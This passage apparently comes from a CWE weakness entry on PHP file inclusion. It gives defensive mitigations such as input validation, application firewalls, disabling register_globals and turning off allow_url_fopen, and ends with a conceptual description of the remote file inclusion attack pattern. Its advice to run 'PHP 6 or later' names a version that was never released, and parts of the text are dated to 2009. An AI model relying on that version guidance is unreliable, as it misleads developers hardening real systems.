- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation
Strategy: Environment Hardening
Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.
Mitigation MIT-16
Strategy: Environment Hardening
- When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
- Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.
Mitigation
Strategy: Environment Hardening
Set allow_url_fopen to false, which limits the ability to include files from remote locations.
CAPEC-193: PHP Remote File Inclusion
In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.